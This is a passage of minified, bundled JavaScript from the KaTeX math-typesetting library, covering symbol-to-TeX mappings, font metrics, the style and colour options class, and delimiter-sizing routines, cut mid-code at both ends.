",!0),i(a,s,h,"\u03b8","\\theta",!0),i(a,s,h,"\u03b9","\\iota",!0),i(a,s,h,"\u03ba","\\kappa",!0),i(a,s,h,"\u03bb","\\lambda",!0),i(a,s,h,"\u03bc","\\mu",!0),i(a,s,h,"\u03bd","\\nu",!0),i(a,s,h,"\u03be","\\xi",!0),i(a,s,h,"\u03bf","\\omicron",!0),i(a,s,h,"\u03c0","\\pi",!0),i(a,s,h,"\u03c1","\\rho",!0),i(a,s,h,"\u03c3","\\sigma",!0),i(a,s,h,"\u03c4","\\tau",!0),i(a,s,h,"\u03c5","\\upsilon",!0),i(a,s,h,"\u03d5","\\phi",!0),i(a,s,h,"\u03c7","\\chi",!0),i(a,s,h,"\u03c8","\\psi",!0),i(a,s,h,"\u03c9","\\omega",!0),i(a,s,h,"\u03b5","\\varepsilon",!0),i(a,s,h,"\u03d1","\\vartheta",!0),i(a,s,h,"\u03d6","\\varpi",!0),i(a,s,h,"\u03f1","\\varrho",!0),i(a,s,h,"\u03c2","\\varsigma",!0),i(a,s,h,"\u03c6","\\varphi",!0),i(a,s,c,"\u2217","*"),i(a,s,c,"+","+"),i(a,s,c,"\u2212","-"),i(a,s,c,"\u22c5","\\cdot",!0),i(a,s,c,"\u2218","\\circ"),i(a,s,c,"\xf7","\\div",!0),i(a,s,c,"\xb1","\\pm",!0),i(a,s,c,"\xd7","\\times",!0),i(a,s,c,"\u2229","\\cap",!0),i(a,s,c,"\u222a","\\cup",!0),i(a,s,c,"\u2216","\\setminus"),i(a,s,c,"\u2227","\\land"),i(a,s,c,"\u2228","\\lor"),i(a,s,c,"\u2227","\\wedge",!0),i(a,s,c,"\u2228","\\vee",!0),i(a,s,g,"\u221a","\\surd"),i(a,s,p,"(","("),i(a,s,p,"[","["),i(a,s,p,"\u27e8","\\langle",!0),i(a,s,p,"\u2223","\\lvert"),i(a,s,p,"\u2225","\\lVert"),i(a,s,f,")",")"),i(a,s,f,"]","]"),i(a,s,f,"?","?"),i(a,s,f,"!","!"),i(a,s,f,"\u27e9","\\rangle",!0),i(a,s,f,"\u2223","\\rvert"),i(a,s,f,"\u2225","\\rVert"),i(a,s,m,"=","="),i(a,s,m,"<","<"),i(a,s,m,">",">"),i(a,s,m,":",":"),i(a,s,m,"\u2248","\\approx",!0),i(a,s,m,"\u2245","\\cong",!0),i(a,s,m,"\u2265","\\ge"),i(a,s,m,"\u2265","\\geq",!0),i(a,s,m,"\u2190","\\gets"),i(a,s,m,">","\\gt"),i(a,s,m,"\u2208","\\in",!0),i(a,s,m,"\u2209","\\notin",!0),i(a,s,m,"\u0338","\\not"),i(a,s,m,"\u2282","\\subset",!0),i(a,s,m,"\u2283","\\supset",!0),i(a,s,m,"\u2286","\\subseteq",!0),i(a,s,m,"\u2287","\\supseteq",!0),i(a,l,m,"\u2288","\\nsubseteq",!0),i(a,l,m,"\u2289","\\nsupseteq",!0),i(a,s,m,"\u22a8","\\models"),i(a,s,m,"\u2190","\\leftarrow",!0),i(a,s,m,"\u2264","\\le"),i(a,s,m,"\u2264","\\leq",!0),i(a,s,m,"<","\\lt"),i(a,s,m,"\u2260","\\ne",!0),i(a,s,m,"\u2260","\\neq"),i(a,s,m,"\u2192","\\rightarrow",!0),i(a,s,m,"\u2192","\\to"),i(a,l,m,"\u2271","\\ngeq",!0),i(a,l,m,"\u2270","\\nleq",!0),i(a,s,v,null,"\\!"),i(a,s,v,"\xa0","\\ "),i(a,s,v,"\xa0","~"),i(a,s,v,null,"\\,"),i(a,s,v,null,"\\:"),i(a,s,v,null,"\\;"),i(a,s,v,null,"\\enspace"),i(a,s,v,null,"\\qquad"),i(a,s,v,null,"\\quad"),i(a,s,v,"\xa0","\\space"),i(a,s,v,"\xa0","\\nobreakspace"),i(o,s,v,null,"\\!"),i(o,s,v,"\xa0","\\ "),i(o,s,v,"\xa0","~"),i(o,s,v,null,"\\,"),i(o,s,v,null,"\\:"),i(o,s,v,null,"\\;"),i(o,s,v,null,"\\enspace"),i(o,s,v,null,"\\qquad"),i(o,s,v,null,"\\quad"),i(o,s,v,"\xa0","\\space"),i(o,s,v,"\xa0","\\nobreakspace"),i(a,s,"punct",",",","),i(a,s,"punct",";",";"),i(a,s,"punct",":","\\colon"),i(a,l,c,"\u22bc","\\barwedge",!0),i(a,l,c,"\u22bb","\\veebar",!0),i(a,s,c,"\u2299","\\odot",!0),i(a,s,c,"\u2295","\\oplus",!0),i(a,s,c,"\u2297","\\otimes",!0),i(a,s,g,"\u2202","\\partial",!0),i(a,s,c,"\u2298","\\oslash",!0),i(a,l,c,"\u229a","\\circledcirc",!0),i(a,l,c,"\u22a1","\\boxdot",!0),i(a,s,c,"\u25b3","\\bigtriangleup"),i(a,s,c,"\u25bd","\\bigtriangledown"),i(a,s,c,"\u2020","\\dagger"),i(a,s,c,"\u22c4","\\diamond"),i(a,s,c,"\u22c6","\\star"),i(a,s,c,"\u25c3","\\triangleleft"),i(a,s,c,"\u25b9","\\triangleright"),i(a,s,p,"{","\\{"),i(o,s,g,"{","\\{"),i(o,s,g,"{","\\textbraceleft"),i(a,s,f,"}","\\}"),i(o,s,g,"}","\\}"),i(o,s,g,"}","\\textbraceright"),i(a,s,p,"{","\\lbrace"),i(a,s,f,"}","\\rbrace"),i(a,s,p,"[","\\lbrack"),i(a,s,f,"]","\\rbrack"),i(o,s,g,"<","\\textless"),i(o,s,g,">","\\textgreater"),i(a,s,p,"\u230a","\\lfloor"),i(a,s,f,"\u230b","\\rfloor"),i(a,s,p,"\u2308","\\lceil"),i(a,s,f,"\u2309","\\rceil"),i(a,s,g,"\\","\\backslash"),i(a,s,g,"\u2223","|"),i(a,s,g,"\u2223","\\vert"),i(o,s,g,"|","\\textbar"),i(a,s,g,"\u2225","\\|"),i(a,s,g,"\u2225","\\Vert"),i(o,s,g,"\u2225","\\textbardbl"),i(a,s,m,"\u2191","\\uparrow",!0),i(a,s,m,"\u21d1","\\Uparrow",!0),i(a,s,m,"\u2193","\\downarrow",!0),i(a,s,m,"\u21d3","\\Downarrow",!0),i(a,s,m,"\u2195","\\updownarrow",!0),i(a,s,m,"\u21d5","\\Updownarrow",!0),i(a,s,d,"\u2210","\\coprod"),i(a,s,d,"\u22c1","\\bigvee"),i(a,s,d,"\u22c0","\\bigwedge"),i(a,s,d,"\u2a04","\\biguplus"),i(a,s,d,"\u22c2","\\bigcap"),i(a,s,d,"\u22c3","\\bigcup"),i(a,s,d,"\u222b","\\int"),i(a,s,d,"\u222b","\\intop"),i(a,s,d,"\u222c","\\iint"),i(a,s,d,"\u222d","\\iiint"),i(a,s,d,"\u220f","\\prod"),i(a,s,d,"\u2211","\\sum"),i(a,s,d,"\u2a02","\\bigotimes"),i(a,s,d,"\u2a01","\\bigoplus"),i(a,s,d,"\u2a00","\\bigodot"),i(a,s,d,"\u222e","\\oint"),i(a,s,d,"\u2a06","\\bigsqcup"),i(a,s,d,"\u222b","\\smallint"),i(o,s,"inner","\u2026","\\textellipsis"),i(a,s,"inner","\u2026","\\mathellipsis"),i(o,s,"inner","\u2026","\\ldots",!0),i(a,s,"inner","\u2026","\\ldots",!0),i(a,s,"inner","\u22ef","\\@cdots",!0),i(a,s,"inner","\u22f1","\\ddots",!0),i(a,s,g,"\u22ee","\\vdots",!0),i(a,s,u,"\u02ca","\\acute"),i(a,s,u,"\u02cb","\\grave"),i(a,s,u,"\xa8","\\ddot"),i(a,s,u,"~","\\tilde"),i(a,s,u,"\u02c9","\\bar"),i(a,s,u,"\u02d8","\\breve"),i(a,s,u,"\u02c7","\\check"),i(a,s,u,"^","\\hat"),i(a,s,u,"\u20d7","\\vec"),i(a,s,u,"\u02d9","\\dot"),i(a,s,u,"\u02da","\\mathring"),i(a,s,h,"\u0131","\\imath",!0),i(a,s,h,"\u0237","\\jmath",!0),i(o,s,g,"\u0131","\\i",!0),i(o,s,g,"\u0237","\\j",!0),i(o,s,g,"\xdf","\\ss",!0),i(o,s,g,"\xe6","\\ae",!0),i(o,s,g,"\xe6","\\ae",!0),i(o,s,g,"\u0153","\\oe",!0),i(o,s,g,"\xf8","\\o",!0),i(o,s,g,"\xc6","\\AE",!0),i(o,s,g,"\u0152","\\OE",!0),i(o,s,g,"\xd8","\\O",!0),i(o,s,u,"\u02ca","\\'"),i(o,s,u,"\u02cb","\\`"),i(o,s,u,"\u02c6","\\^"),i(o,s,u,"\u02dc","\\~"),i(o,s,u,"\u02c9","\\="),i(o,s,u,"\u02d8","\\u"),i(o,s,u,"\u02d9","\\."),i(o,s,u,"\u02da","\\r"),i(o,s,u,"\u02c7","\\v"),i(o,s,u,"\xa8",'\\"'),i(o,s,u,"\u02dd","\\H"),i(o,s,g,"\u2013","--"),i(o,s,g,"\u2013","\\textendash"),i(o,s,g,"\u2014","---"),i(o,s,g,"\u2014","\\textemdash"),i(o,s,g,"\u2018","`"),i(o,s,g,"\u2018","\\textquoteleft"),i(o,s,g,"\u2019","'"),i(o,s,g,"\u2019","\\textquoteright"),i(o,s,g,"\u201c","``"),i(o,s,g,"\u201c","\\textquotedblleft"),i(o,s,g,"\u201d","''"),i(o,s,g,"\u201d","\\textquotedblright"),i(a,s,g,"\xb0","\\degree"),i(o,s,g,"\xb0","\\degree"),i(a,s,h,"\xa3","\\pounds"),i(a,s,h,"\xa3","\\mathsterling",!0),i(o,s,h,"\xa3","\\pounds"),i(o,s,h,"\xa3","\\textsterling",!0),i(a,l,g,"\u2720","\\maltese"),i(o,l,g,"\u2720","\\maltese"),i(o,s,v,"\xa0","\\ "),i(o,s,v,"\xa0"," "),i(o,s,v,"\xa0","~");for(var y=0;y<'0123456789/@."'.length;y++){var b='0123456789/@."'.charAt(y);i(a,s,g,b,b)}for(var x=0;x<'0123456789!@*()-=+[]<>|";:?/.,'.length;x++){var w='0123456789!@*()-=+[]<>|";:?/.,'.charAt(x);i(o,s,g,w,w)}for(var k="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",_=0;_<k.length;_++){var M=k.charAt(_);i(a,s,h,M,M),i(o,s,g,M,M)}for(var S=0;S<"\xc7\xd0\xde\xe7\xfe".length;S++){var T="\xc7\xd0\xde\xe7\xfe".charAt(S);i(a,s,h,T,T),i(o,s,g,T,T)}i(o,s,g,"\xf0","\xf0"),i(o,s,g,"\u2013","\u2013"),i(o,s,g,"\u2014","\u2014"),i(o,s,g,"\u2018","\u2018"),i(o,s,g,"\u2019","\u2019"),i(o,s,g,"\u201c","\u201c"),i(o,s,g,"\u201d","\u201d")},function(e,t,n){var r=n(38);e.exports=function(e){return Object(r(e))}},function(e,t,n){"use strict";var r=n(42),i=n(59),a={slant:[.25,.25,.25],space:[0,0,0],stretch:[0,0,0],shrink:[0,0,0],xHeight:[.431,.431,.431],quad:[1,1.171,1.472],extraSpace:[0,0,0],num1:[.677,.732,.925],num2:[.394,.384,.387],num3:[.444,.471,.504],denom1:[.686,.752,1.025],denom2:[.345,.344,.532],sup1:[.413,.503,.504],sup2:[.363,.431,.404],sup3:[.289,.286,.294],sub1:[.15,.143,.2],sub2:[.247,.286,.4],supDrop:[.386,.353,.494],subDrop:[.05,.071,.1],delim1:[2.39,1.7,1.98],delim2:[1.01,1.157,1.42],axisHeight:[.25,.25,.25],defaultRuleThickness:[.04,.049,.049],bigOpSpacing1:[.111,.111,.111],bigOpSpacing2:[.166,.166,.166],bigOpSpacing3:[.2,.2,.2],bigOpSpacing4:[.6,.611,.611],bigOpSpacing5:[.1,.143,.143],sqrtRuleThickness:[.04,.04,.04],ptPerEm:[10,10,10],doubleRuleSep:[.2,.2,.2]},o={"\xc5":"A","\xc7":"C","\xd0":"D","\xde":"o","\xe5":"a","\xe7":"c","\xf0":"d","\xfe":"o","\u0410":"A","\u0411":"B","\u0412":"B","\u0413":"F","\u0414":"A","\u0415":"E","\u0416":"K","\u0417":"3","\u0418":"N","\u0419":"N","\u041a":"K","\u041b":"N","\u041c":"M","\u041d":"H","\u041e":"O","\u041f":"N","\u0420":"P","\u0421":"C","\u0422":"T","\u0423":"y","\u0424":"O","\u0425":"X","\u0426":"U","\u0427":"h","\u0428":"W","\u0429":"W","\u042a":"B","\u042b":"X","\u042c":"B","\u042d":"3","\u042e":"X","\u042f":"R","\u0430":"a","\u0431":"b","\u0432":"a","\u0433":"r","\u0434":"y","\u0435":"e","\u0436":"m","\u0437":"e","\u0438":"n","\u0439":"n","\u043a":"n","\u043b":"n","\u043c":"m","\u043d":"n","\u043e":"o","\u043f":"n","\u0440":"p","\u0441":"c","\u0442":"o","\u0443":"y","\u0444":"b","\u0445":"x","\u0446":"n","\u0447":"n","\u0448":"w","\u0449":"w","\u044a":"a","\u044b":"m","\u044c":"a","\u044d":"e","\u044e":"m","\u044f":"r"},s={};t.a={getFontMetrics:function(e){var t=void 0;if(!s[t=e>=5?0:e>=3?1:2]){var n=s[t]={cssEmPerMu:a.quad[t]/18};for(var r in a)a.hasOwnProperty(r)&&(n[r]=a[r][t])}return s[t]},getCharacterMetrics:function(e,t,n){if(!i.a[t])throw new Error("Font metrics not found for font: "+t+".");var a=e.charCodeAt(0);e[0]in o&&(a=o[e[0]].charCodeAt(0));var s=i.a[t][a];if(s||"text"!==n||Object(r.b)(a)&&(s=i.a[t][77]),s)return{depth:s[0],height:s[1],italic:s[2],skew:s[3],width:s[4]}}}},function(e,t,n){"use strict";var r=n(66),i=n.n(r),a=n(7),o=n.n(a),s=n(10),l=n.n(s),u=function(){function e(t,n,r){o()(this,e),this.lexer=t,this.start=n,this.end=r,i()(this)}return l()(e,null,[{key:"range",value:function(t,n){return n?t&&t.loc&&n.loc&&t.loc.lexer===n.loc.lexer?new e(t.loc.lexer,t.loc.start,n.loc.end):null:t&&t.loc}}]),e}();t.a=u},function(e,t){var n=0,r=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++n+r).toString(36))}},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=n(5);t.a=function e(t){i()(this,e),t=t||{},this.displayMode=a.a.deflt(t.displayMode,!1),this.throwOnError=a.a.deflt(t.throwOnError,!0),this.errorColor=a.a.deflt(t.errorColor,"#cc0000"),this.macros=t.macros||{},this.colorIsTextColor=a.a.deflt(t.colorIsTextColor,!1),this.maxSize=Math.max(0,a.a.deflt(t.maxSize,1/0))}},function(e,t,n){"use strict";t.__esModule=!0;var r,i=n(79),a=(r=i)&&r.__esModule?r:{default:r};t.default=function(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return(0,a.default)(e)}},function(e,t,n){"use strict";var r=n(81)(!0);n(48)(String,"String",(function(e){this._t=String(e),this._i=0}),(function(){var e,t=this._t,n=this._i;return n>=t.length?{value:void 0,done:!0}:(e=r(t,n),this._i+=e.length,{value:e,done:!1})}))},function(e,t){var n=Math.ceil,r=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?r:n)(e)}},function(e,t){e.exports=function(e){if(void 0==e)throw TypeError("Can't call method on "+e);return e}},function(e,t,n){var r=n(87),i=n(53);e.exports=Object.keys||function(e){return r(e,i)}},function(e,t,n){var r=n(49),i=n(38);e.exports=function(e){return r(i(e))}},function(e,t,n){var r=n(52)("keys"),i=n(32);e.exports=function(e){return r[e]||(r[e]=i(e))}},function(e,t,n){"use strict";t.a=function(e){var t=!0,n=!1,r=void 0;try{for(var i,a=o()(s);!(t=(i=a.next()).done);t=!0){var l=i.value,u=!0,c=!1,f=void 0;try{for(var h,d=o()(l.blocks);!(u=(h=d.next()).done);u=!0){var p=h.value;if(e>=p[0]&&e<=p[1])return l.name}}catch(m){c=!0,f=m}finally{try{!u&&d.return&&d.return()}finally{if(c)throw f}}}}catch(m){n=!0,r=m}finally{try{!t&&a.return&&a.return()}finally{if(n)throw r}}return null},t.b=function(e){for(var t=0;t<l.length;t+=2)if(e>=l[t]&&e<=l[t+1])return!0;return!1};var r=n(35),i=n.n(r),a=n(18),o=n.n(a),s=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}],l=[];s.forEach((function(e){return e.blocks.forEach((function(e){return l.push.apply(l,i()(e))}))}))},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=n(10),o=n.n(a),s=n(30),l=[[1,1,1],[2,1,1],[3,1,1],[4,2,1],[5,2,1],[6,3,1],[7,4,2],[8,6,3],[9,7,6],[10,8,7],[11,10,9]],u=[.5,.6,.7,.8,.9,1,1.2,1.44,1.728,2.074,2.488],c=function(e,t){return t.size<2?e:l[e-1][t.size-1]},f=function(){function e(t){i()(this,e),this.style=t.style,this.color=t.color,this.size=t.size||e.BASESIZE,this.textSize=t.textSize||this.size,this.phantom=!!t.phantom,this.fontFamily=t.fontFamily,this.fontWeight=t.fontWeight||"",this.fontShape=t.fontShape||"",this.sizeMultiplier=u[this.size-1],this.maxSize=t.maxSize,this._fontMetrics=void 0}return o()(e,[{key:"extend",value:function(t){var n={style:this.style,size:this.size,textSize:this.textSize,color:this.color,phantom:this.phantom,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontShape:this.fontShape,maxSize:this.maxSize};for(var r in t)t.hasOwnProperty(r)&&(n[r]=t[r]);return new e(n)}},{key:"havingStyle",value:function(e){return this.style===e?this:this.extend({style:e,size:c(this.textSize,e)})}},{key:"havingCrampedStyle",value:function(){return this.havingStyle(this.style.cramp())}},{key:"havingSize",value:function(e){return this.size===e&&this.textSize===e?this:this.extend({style:this.style.text(),size:e,textSize:e,sizeMultiplier:u[e-1]})}},{key:"havingBaseStyle",value:function(t){t=t||this.style.text();var n=c(e.BASESIZE,t);return this.size===n&&this.textSize===e.BASESIZE&&this.style===t?this:this.extend({style:t,size:n})}},{key:"withColor",value:function(e){return this.extend({color:e})}},{key:"withPhantom",value:function(){return this.extend({phantom:!0})}},{key:"withFontFamily",value:function(e){return this.extend({fontFamily:e||this.fontFamily})}},{key:"withFontWeight",value:function(e){return this.extend({fontWeight:e})}},{key:"withFontShape",value:function(e){return this.extend({fontShape:e})}},{key:"sizingClasses",value:function(e){return e.size!==this.size?["sizing","reset-size"+e.size,"size"+this.size]:[]}},{key:"baseSizingClasses",value:function(){return this.size!==e.BASESIZE?["sizing","reset-size"+this.size,"size"+e.BASESIZE]:[]}},{key:"fontMetrics",value:function(){return this._fontMetrics||(this._fontMetrics=s.a.getFontMetrics(this.size)),this._fontMetrics}},{key:"getColor",value:function(){return this.phantom?"transparent":null!=this.color&&e.colorMap.hasOwnProperty(this.color)?e.colorMap[this.color]:this.color}}]),e}();f.BASESIZE=6,f.colorMap={"katex-blue":"#6495ed","katex-orange":"#ffa500","katex-pink":"#ff00af","katex-red":"#df0030","katex-green":"#28ae7b","katex-gray":"gray","katex-purple":"#9d38bd","katex-blueA":"#ccfaff","katex-blueB":"#80f6ff","katex-blueC":"#63d9ea","katex-blueD":"#11accd","katex-blueE":"#0c7f99","katex-tealA":"#94fff5","katex-tealB":"#26edd5","katex-tealC":"#01d1c1","katex-tealD":"#01a995","katex-tealE":"#208170","katex-greenA":"#b6ffb0","katex-greenB":"#8af281","katex-greenC":"#74cf70","katex-greenD":"#1fab54","katex-greenE":"#0d923f","katex-goldA":"#ffd0a9","katex-goldB":"#ffbb71","katex-goldC":"#ff9c39","katex-goldD":"#e07d10","katex-goldE":"#a75a05","katex-redA":"#fca9a9","katex-redB":"#ff8482","katex-redC":"#f9685d","katex-redD":"#e84d39","katex-redE":"#bc2612","katex-maroonA":"#ffbde0","katex-maroonB":"#ff92c6","katex-maroonC":"#ed5fa6","katex-maroonD":"#ca337c","katex-maroonE":"#9e034e","katex-purpleA":"#ddd7ff","katex-purpleB":"#c6b9fc","katex-purpleC":"#aa87ff","katex-purpleD":"#7854ab","katex-purpleE":"#543b78","katex-mintA":"#f5f9e8","katex-mintB":"#edf2df","katex-mintC":"#e0e5cc","katex-grayA":"#f6f7f7","katex-grayB":"#f0f1f2","katex-grayC":"#e3e5e6","katex-grayD":"#d6d8da","katex-grayE":"#babec2","katex-grayF":"#888d93","katex-grayG":"#626569","katex-grayH":"#3b3e40","katex-grayI":"#21242c","katex-kaBlue":"#314453","katex-kaGreen":"#71B307"},t.a=f},function(e,t,n){"use strict";var r=n(6),i=n(9),a=n(12),o=n(0),s=n(30),l=n(28),u=n(5),c=function(e,t,n){return l.a.math[e]&&l.a.math[e].replace?s.a.getCharacterMetrics(l.a.math[e].replace,t,n):s.a.getCharacterMetrics(e,t,n)},f=function(e,t,n,r){var i=n.havingBaseStyle(t),a=o.a.makeSpan((r||[]).concat(i.sizingClasses(n)),[e],n);return a.delimSizeMultiplier=i.sizeMultiplier/n.sizeMultiplier,a.height*=a.delimSizeMultiplier,a.depth*=a.delimSizeMultiplier,a.maxFontSize=i.sizeMultiplier,a},h=function(e,t,n){var r=t.havingBaseStyle(n),i=(1-t.sizeMultiplier/r.sizeMultiplier)*t.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=i+"em",e.height-=i,e.depth+=i},d=function(e,t,n,r,a,s){var l=function(e,t,n,r){return o.a.makeSymbol(e,"Size"+t+"-Regular",n,r)}(e,t,a,r),u=f(o.a.makeSpan(["delimsizing","size"+t],[l],r),i.a.TEXT,r,s);return n&&h(u,r,i.a.TEXT),u},p=function(e,t,n){var r=void 0;return"Size1-Regular"===t?r="delim-size1":"Size4-Regular"===t&&(r="delim-size4"),{type:"elem",elem:o.a.makeSpan(["delimsizinginner",r],[o.a.makeSpan([],[o.a.makeSymbol(e,t,n)])])}},m=function(e,t,n,r,a,s){var l=void 0,u=void 0,h=void 0,d=void 0;l=h=d=e,u=null;var m="Size1-Regular";"\\uparrow"===e?h=d="\u23d0":"\\Uparrow"===e?h=d="\u2016":"\\downarrow"===e?l=h="\u23d0":"\\Downarrow"===e?l=h="\u2016":"\\updownarrow"===e?(l="\\uparrow",h="\u23d0",d="\\downarrow"):"\\Updownarrow"===e?(l="\\Uparrow",h="\u2016",d="\\Downarrow"):"["===e||"\\lbrack"===e?(l="\u23a1",h="\u23a2",d="\u23a3",m="Size4-Regular"):"]"===e||"\\rbrack"===e?(l="\u23a4",h="\u23a5",d="\u23a6",m="Size4-Regular"):"\\lfloor"===e?(h=l="\u23a2",d="\u23a3",m="Size4-Regular"):"\\lceil"===e?(l="\u23a1",h=d="\u23a2",m="Size4-Regular"):"\\rfloor"===e?(h=l="\u23a5",d="\u23a6",m="Size4-Regular"):"\\rceil"===e?(l="\u23a4",h=d="\u23a5",m="Size4-Regular"):"("===e?(l="\u239b",h="\u239c",d="\u239d",m="Size4-Regular"):")"===e?(l="\u239e",h="\u239f",d="\u23a0",m="Size4-Regular"):"\\{"===e||"\\lbrace"===e?(l="\u23a7",u="\u23a8",d="\u23a9",h="\u23aa",m="Size4-Regular"):"\\}"===e||"\\rbrace"===e?(l="\u23ab",u="\u23ac",d="\u23ad",h="\u23aa",m="Size4-Regular"):"\\lgroup"===e?(l="\u23a7",d="\u23a9",h="\u23aa",m="Size4-Regular"):"\\rgroup"===e?(l="\u23ab",d="\u23ad",h="\u23aa",m="Size4-Regular"):"\\lmoustache"===e?(l="\u23a7",d="\u23ad",h="\u23aa",m="Size4-Regular"):"\\rmoustache"===e&&(l="\u23ab",d="\u23a9",h="\u23aa",m="Size4-Regular");var v=c(l,m,a),g=v.height+v.depth,y=c(h,m,a),b=y.height+y.depth,x=c(d,m,a),w=x.height+x.depth,k=0,_=1;if(null!==u){var M=c(u,m,a);k=M.height+M.depth,_=2}var S=g+w+k,T=Math.ceil((t-S)/(_*b)),O=S+T*_*b,E=r.fontMetrics().axisHeight;n&&(E*=r.sizeMultiplier);var C=O/2-E,N=[];if(N.push(p(d,m,a)),null===u)for(var P=0;P<T;P++)N.push(p(h,m,a));else{for(var A=0;A<T;A++)N.push(p(h,m,a));N.push(p(u,m,a));for(var z=0;z<T;z++)N.push(p(h,m,a))}N.push(p(l,m,a));var D=r.havingBaseStyle(i.a.TEXT),I=o.a.makeVList({positionType:"bottom",positionData:C,children:N},D);return f(o.a.makeSpan(["delimsizing","mult"],[I],D),i.a.TEXT,r,s)},v=function(e,t,n,r){var i=void 0;"sqrtTall"===e&&(i="M702 80H400000v40H742v"+(n-54-80)+"l-4 4-4 4c-.667.7\n-2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1h-12l-28-84c-16.667-52-96.667\n-294.333-240-727l-212 -643 -85 170c-4-3.333-8.333-7.667-13 -13l-13-13l77-155\n 77-156c66 199.333 139 419.667 219 661 l218 661zM702 80H400000v40H742z");var s=new a.a.pathNode(e,i),l=new a.a.svgNode([s],{width:"400em",height:t+"em",viewBox:"0 0 400000 "+n,preserveAspectRatio:"xMinYMin slice"});return o.a.makeSpan(["hide-tail"],[l],r)},g=["(",")","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\\lceil","\\rceil","\\surd"],y=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\\lmoustache","\\rmoustache"],b=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],x=[0,1.2,1.8,2.4,3],w=[{type:"small",style:i.a.SCRIPTSCRIPT},{type:"small",style:i.a.SCRIPT},{type:"small",style:i.a.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],k=[{type:"small",style:i.a.SCRIPTSCRIPT},{type:"small",style:i.a.SCRIPT},{type:"small",style:i.a.TEXT},{type:"stack"}],_=[{type:"small",style:i.a.SCRIPTSCRIPT},{type:"small",style:i.a.SCRIPT},{type:"small",style:i.a.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],M=function(e,t,n,r){for(var i,a=Math.min(2,3-r.style.size);a<n.length&&"stack"!==n[a].type;a++){var o=c(e,"small"===(i=n[a]).type?"Main-Regular":"large"===i.type?"Size"+i.size+"-Regular":"stack"===i.type?"Size4-Regular":void 0,"math"),s=o.height+o.depth;if("small"===n[a].type&&(s*=r.havingBaseStyle(n[a].style).sizeMultiplier),s>t)return n[a]}return n[n.length-1]},S=function(e,t,n,r,i,a){"<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle");var s=void 0;s=u.a.contains(b,e)?w:u.a.contains(g,e)?_:k;var l=M(e,t,s,r);return"small"===l.type?function(e,t,n,r,i,a){var s=o.a.makeSymbol(e,"Main-Regular",i,r),l=f(s,t,r,a);return n&&h(l,r,t),l}(e,l.style,n,r,i,a):"large"===l.type?d(e,l.size,n,r,i,a):m(e,t,n,r,i,a)};t.a={sqrtImage:function(e,t){var n=M("\\surd",e,_,t),r=void 0,i=t.sizeMultiplier,a=0,o=0,s=0;return"small"===n.type?(s=1080,o=1*(i=t.havingBaseStyle(n.style).sizeMultiplier/t.sizeMultiplier),(r=v("sqrtMain",a=1.08*i,s,t)).style.minWidth="0.853em",r.advanceWidth=.833*i):"large"===n.type?(s=1080*x[n.size],o=x[n.size]/i,a=(x[n.size]+.08)/i,(r=v("sqrtSize"+n.size,a,s,t)).style.minWidth="1.02em",r.advanceWidth=1/i):(a=e/i+.08,o=e/i,s=Math.floor(1e3*e)+80,(r=v("sqrtTall",a,s,t)).style.minWidth="0.742em",r.advanceWidth=1.056/i),r.height=o,r.style.height=a+"em",{span:r,ruleWidth:t.fontMetrics().sqrtRuleThickness*i}},sizedDelim:function(e,t,n,i,a){if("<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle"),u.a.contains(g,e)||u.a.contains(b,e))return d(e,t,!1,n,i,a);if(u.a.contains(y,e))return m(e,x[t],!1,n,i,a);throw new r.a("Illegal delimiter: '"+e+"'")},customSizedDelim:S,leftRightDelim:function(e,t,n,r,i,a){var o=r.fontMetrics().axisHeight*r.sizeMultiplier,s=5/r.fontMetrics().ptPerEm,l=Math.max(t-o,n+o),u=Math.max(l/500*901,2*l-s);return S(e,u,!0,r,i,a)}}},function(e,t,n){var r=n(20),i=n(16).document,a=r(i)&&r(i.createElement);e.exports=function(e){return a?i.createElement(e):{}}},function(e,t,n){var r=n(25),i=n(8),a=n(24);e.exports=function(e,t){var n=(i.Object||{})[e]||Object[e],o={};o[e]=t(n),r(r.S+r.F*a((function(){n(1)})),"Object",o)}},function(e,t,n){var r=n(72);e.exports=function(e,t,n){if(r(e),void 0===t)return e;switch(n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,i){return e.call(t,n,r,i)}}return function(){return e.apply(t,arguments)}}},function(e,t,n){"use strict";var r=n(82),i=n(25),a=n(83),o=n(26),s=n(21),l=n(17),u=n(84),c=n(54),f=n(91),h=n(11)("iterator"),d=!([].keys&&"next"in[].keys()),p=function(){return this};e.exports=function(e,t,n,m,v,g,y){u(n,t,m);var b,x,w,k=function(e){if(!d&&e in T)return T[e];switch(e){case"keys":case"values":return function(){return new n(this,e)}}return function(){return new n(this,e)}},_=t+" Iterator",M="values"==v,S=!1,T=e.prototype,O=T[h]||T["@@iterator"]||v&&T[v],E=O||k(v),C=v?M?k("entries"):E:void 